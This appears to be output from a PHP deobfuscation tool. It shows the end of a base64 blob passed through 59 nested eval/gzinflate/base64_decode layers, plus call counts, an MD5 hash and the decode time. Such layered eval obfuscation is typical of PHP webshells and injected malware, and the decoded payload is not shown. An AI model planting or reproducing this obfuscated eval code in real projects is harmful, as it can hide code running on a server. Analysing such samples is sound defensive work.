hjA5JH5woMRpJj6PjeEWSbunhAKtsMS2h0zwHoAiFFxHZrIswqJbGpHciPLqVGdc8HRBtqpyaC2TtRHeiIAhQkn81B5gB1mUjbl4q7mqc7p7/YcvMj9ULxLqQs7diRirqj34uSw3mZ9TOjRYYqlHd4y/16hfXzozE0qtuBABowi9Xr2NOmb595zBu86spCfG0AH8StrhEdDEJB1mxPYbYKG+whWAkQB4oIEpJtFIuEymiYJJUhyyo7eLESVLt3vaE4/4dkLzQeRsbo/Limw1GL9pDbGWAYrV5yNz6tlrSSSw9cR4jI1PdOPPdgMk5WicBnMug3mYHXPWrcXbtqYUw9xx5RD6WhkY2PZg9a1uIcLlOfHIRfb/n1jDLUWStmyRa9lfre6SwlH5pU4lguObDaNuL1RVAEgYU2LIvdo9pFaXLl4bZKsrjc2x0bKdrYNX5AODOfUTllgXv+lgEyT9bkDPwv/YECf5eRA0TpFOTamXhxVeyCCwfS5IczhPag5E732XatToaRYW5jfLg8JfCCwf7XtLXYcx3Pbneu+ydiK/KpHCsUDbkxC6XyR3Xj6QB4uR6qDLTH7ppoIPEz5pP4Bz1oWWaaNjPr89tdvy+aFZIoxGXi0gCTyq9y4sMTXT1YPGigY/cWpRho7NziLWDezv7Bdz6X08vGX41+BRIfpaw1m0vrzB9RN0POpgY8Eh5vfEjv1ibQbc9QSOdql+dM/kIrXhRWwDkcvD+NWQoeRrQAy9ggA7yXwkqzTdfHssqXXKBJXB7cCx2jajupF0Frx5g9zuO6P0d6PMZQiaF5jVA8jRtDP2cQmJPvu2rbSRZ5nLNYY2yvsyY3ZdKQ1RHw+7jAV61DAyR+u+jKyZGaoBz7FOZbRCd1wdQtW9DmLsXDsCoRZLKF2nV7IU4J6VnY8A8ZVNhJ7fifp/TQTtH6N9kngB2DY/axbSPoRe+BYa5+ioJAHPfi0pIVhO76XzbgV2A0Eq6NIg1xe3JTN56Z+mze4ZsFUNONDAVfIgiJzgfzeGNkJiIO8nCxdrV6Ecz+m+JnmoKLDfLqgcgbE7ZGl90nxTlx9Ns4eGYEmqYM9PNHsNAEDIIRVmSvfROkkkBK68BRP9x7KpBTLU1cph4dL7Hfb9tj6YAuzp/EcmFv+jAY4BZn9e5vqVquxl1VSI59uk4YtVkwsP8QHW3OuVYLsi76zrL8N44qr58ErBqgkDLO7qXSrqsH1AFStrtato9T7R+NvDlMLSmIHkjpAEJ1QEACKCgStHATBqgLP/P/++59//vmf//r3v/733/8P'))); ?>
Function Calls
strrev | 55 |
gzinflate | 59 |
base64_decode | 59 |
Stats
MD5 | ae651cb4b0a356b656d24a61359c3a0e |
Eval Count | 59 |
Decode Time | 3789 ms |